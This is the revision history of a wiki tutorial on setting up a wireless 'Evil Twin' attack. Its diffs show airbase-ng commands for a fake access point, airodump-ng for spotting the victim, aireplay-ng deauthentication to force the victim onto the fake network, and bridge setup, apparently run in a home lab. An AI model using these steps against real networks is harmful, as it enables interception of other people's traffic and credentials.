Evil Twin/Setup - Revision history

Admin at 03:55, 25 September 2015

2015-09-25T03:55:31Z

← Older revision		Revision as of 03:55, 25 September 2015
Line 306:		Line 306:


			{{EvilTwinFlag}}
			{{MITMFlag}}

	~~{{MITMFlag}}~~
	[[Category:Wireless]]		[[Category:Wireless]]

Admin: /* References */

2015-08-25T18:24:04Z

References

← Older revision		Revision as of 18:24, 25 August 2015
Line 307:		Line 307:


	~~[[Category:Evil Twin]]~~		{{MITMFlag}}
	~~[[Category:Security]]~~
	[[Category:Wireless]]		[[Category:Wireless]]

Admin: /* Analyze Results */

2015-08-24T22:21:47Z

Analyze Results

@@ Line 242: / Line 242: @@
 </pre>
-===Analyze Results===
+===Look at the Bridge===
-Look at the results with ifconfig:
+You can take a look a the resulting network interfaces with <code>ifconfig</code>:
 <pre>
-mars $ ifconfig
+ ifconfig
 </pre>
 ==Wayne's World==

Admin: /* Building the Bridge */

2015-08-24T22:19:27Z

Building the Bridge

@@ Line 207: / Line 207: @@
 <pre>
 mars $ dhclient lucifer
 </pre>

Admin: /* Building the Bridge */

2015-08-24T22:18:31Z

Building the Bridge

← Older revision		Revision as of 22:18, 24 August 2015
Line 206:		Line 206:

	<pre>		<pre>
	mars $ ~~dhclient3~~ lucifer &		mars $ dhclient lucifer
	</pre>		</pre>

Admin: /* Connecting Sheep to Evil Twin */

2015-08-24T22:18:06Z

Connecting Sheep to Evil Twin

← Older revision		Revision as of 22:18, 24 August 2015
Line 148:		Line 148:

	<pre>		<pre>
	$ airbase-ng -a 74:85:2A:97:~~5B:08~~ --essid "Walrus" -c 6 wlan5		$ airbase-ng -a AA:BB:CC:DD:EE --essid "Walrus" -c 6 wlan5
	14:50:56 Created tap interface at0		14:50:56 Created tap interface at0
	14:50:56 Trying to set MTU on at0 to 1500		14:50:56 Trying to set MTU on at0 to 1500
	14:50:56 Trying to set MTU on wlan5 to 1800		14:50:56 Trying to set MTU on wlan5 to 1800
	14:50:56 Access Point with BSSID 74:85:2A:~~97:5B~~:08 started.		14:50:56 Access Point with BSSID AA:BB:CC:DD:EE started.
	14:58:55 Client 7C:DD:90~~:8F:CA:8C~~ associated (WPA2;CCMP) to ESSID: "Walrus"		14:58:55 Client 7C:DD:90 associated (WPA2;CCMP) to ESSID: "Walrus"
	15:03:24 Client 7C:DD:90~~:8F:CA:8C~~ associated (WPA2;CCMP) to ESSID: "Walrus"		15:03:24 Client 7C:DD:90 associated (WPA2;CCMP) to ESSID: "Walrus"
	</pre>		</pre>

Admin: /* Connecting Sheep to Evil Twin */

2015-08-24T22:05:03Z

Connecting Sheep to Evil Twin

← Older revision		Revision as of 22:05, 24 August 2015
Line 144:		Line 144:

	The Sheep will begin to look for the Good Twin, will see the Evil Twin, and will connect to it.		The Sheep will begin to look for the Good Twin, will see the Evil Twin, and will connect to it.

			In your airbase window, this should look something like this:

			<pre>
			$ airbase-ng -a 74:85:2A:97:5B:08 --essid "Walrus" -c 6 wlan5
			14:50:56 Created tap interface at0
			14:50:56 Trying to set MTU on at0 to 1500
			14:50:56 Trying to set MTU on wlan5 to 1800
			14:50:56 Access Point with BSSID 74:85:2A:97:5B:08 started.
			14:58:55 Client 7C:DD:90:8F:CA:8C associated (WPA2;CCMP) to ESSID: "Walrus"
			15:03:24 Client 7C:DD:90:8F:CA:8C associated (WPA2;CCMP) to ESSID: "Walrus"
			</pre>

	==Keeping Sheep Connected to Internet==		==Keeping Sheep Connected to Internet==

Admin: /* Deauth Sheep on Good Twin (Window 2) */

2015-08-24T22:04:03Z

Deauth Sheep on Good Twin (Window 2)

← Older revision		Revision as of 22:04, 24 August 2015
Line 112:		Line 112:
	I put a second wireless card on the sheep, and before the whole attack went down, I fired up wireshark and started a packet dump on the network to watch what was happening.		I put a second wireless card on the sheep, and before the whole attack went down, I fired up wireshark and started a packet dump on the network to watch what was happening.

	==~~Deauth~~ Sheep on Good Twin ~~(Window 2)~~==		==Find Sheep on Good Twin==

			Next we'll need to monitor the wireless channel to find our sheep connected to the Good Twin access point.

	~~Listen for your fake network from~~ the ~~attacking station. (Don't use the same network interface here that you used to create the airbase!)~~		Run airodump-ng against the Good Twin using its MAC address:

	<pre>		<pre>
	mars $ airodump-ng -~~w eviltwin~~ wlan0		mars $ airodump-ng -d AA:BB:CC:DD:EE wlan0
	</pre>		</pre>

	This will ~~dump~~ to the ~~eviltwin file~~, and ~~will pick up~~ your ~~attacking station~~.		This will listen for traffic destined to or from the Good Twin router, and you should see your client and your client's MAC address listed at the bottom of that screen.


	~~Also, if we watch our airbase window, with the command we ran previously, we see some activity:~~		==Deauth Sheep on Good Twin (Window 2)==

	~~<pre>~~		Now that you have the sheep's MAC address, you can deauth them from the Good Twin network. When they look for the beacon for their wireless network again, it will actually be the Evil Twin.
	~~mars $ airbase-ng -a XXX --essid "Walrus" -c 11 wlan1~~
	~~21:49:23 Created tap interface at0~~
	~~21:49:23 Trying to set MTU on at0 to 1500~~
	~~21:49:23 Access Point with BSSID XXX started~~.
	~~21:53:08 Client XXX associated (WEP) to ESSID: "Walrus"~~
	~~21:53:17 Client XXX associated (WEP) to ESSID: "Walrus"~~
	~~21:53:27 Client XXX associated (unencrypted) to ESSID: "Walrus"~~
	~~21:53:36 Client XXX associated (unencrypted) to ESSID: "Walrus"~~
	~~</pre>~~

	~~Not~~ sure ~~what's going on there. We'll find out soon, I suppose~~.		Make sure your airbase is running.

	Kick the Sheep off of the Good Twin router using aireplay's deauth attack:		Kick the Sheep off of the Good Twin router using aireplay's deauth attack:

	<pre>		<pre>
	mars $ aireplay-ng -0 1 -a <AP MAC Address> -c <Sheep MAC Address> wlan0		mars $ aireplay-ng -0 1 -a <Good Twin AP MAC Address> -c <Sheep MAC Address> wlan0
	</pre>		</pre>

	Once the sheep has been kicked off, it will begin to look for the Good Twin again. But the Evil Twin will be there instead.		Once the sheep has been kicked off, it will begin to look for the Good Twin again. But the Evil Twin will be there instead.

	~~Not sure about~~ the ~~output~~, ~~but~~ I ~~think~~ the ~~sheep is connected~~ to ~~the Evil Twin~~.		From the sheep, I immediately saw an authentication dialogue pop up, with my password remembered and pre-populated. It's really easy for the Sheep to just say, Okay, try again to connect.

	==Connecting Sheep to Evil Twin==		==Connecting Sheep to Evil Twin==

Admin: /* Deauth Sheep on Good Twin (Window 2) */

2015-08-24T21:50:04Z

Deauth Sheep on Good Twin (Window 2)

← Older revision		Revision as of 21:50, 24 August 2015
Line 114:		Line 114:
	==Deauth Sheep on Good Twin (Window 2)==		==Deauth Sheep on Good Twin (Window 2)==

	~~Now, listen~~ for ~~the~~ network from the ~~attack platform~~. ~~Make sure you don~~'t use the same ~~wireless card~~ that you~~'re using~~ to ~~run~~ the ~~air station~~!		Listen for your fake network from the attacking station. (Don't use the same network interface here that you used to create the airbase!)

	<pre>		<pre>
	mars $ airodump-ng -w eviltwin wlan0		mars $ airodump-ng -w eviltwin wlan0
	</pre>		</pre>

			This will dump to the eviltwin file, and will pick up your attacking station.

	Also, if we watch our airbase window, with the command we ran previously, we see some activity:		Also, if we watch our airbase window, with the command we ran previously, we see some activity:
Line 135:		Line 137:
	Not sure what's going on there. We'll find out soon, I suppose.		Not sure what's going on there. We'll find out soon, I suppose.

	~~Like a magnet, my Raspberry Pi and my iPhone both connected to the fake access point.~~		Kick the Sheep off of the Good Twin router using aireplay's deauth attack:

	~~This may not even be necessary.~~ Kick the Sheep off of the Good Twin router using aireplay's deauth attack:

	<pre>		<pre>

Admin: /* Make Evil Twin Obnoxious */

2015-08-24T21:47:33Z

Make Evil Twin Obnoxious

← Older revision		Revision as of 21:47, 24 August 2015
Line 88:		Line 88:

	<!--		<!--
			Commented because idiots

	To make sure that the Sheep only hears the Evil Twin, you can crank up the power:		To make sure that the Sheep only hears the Evil Twin, you can crank up the power: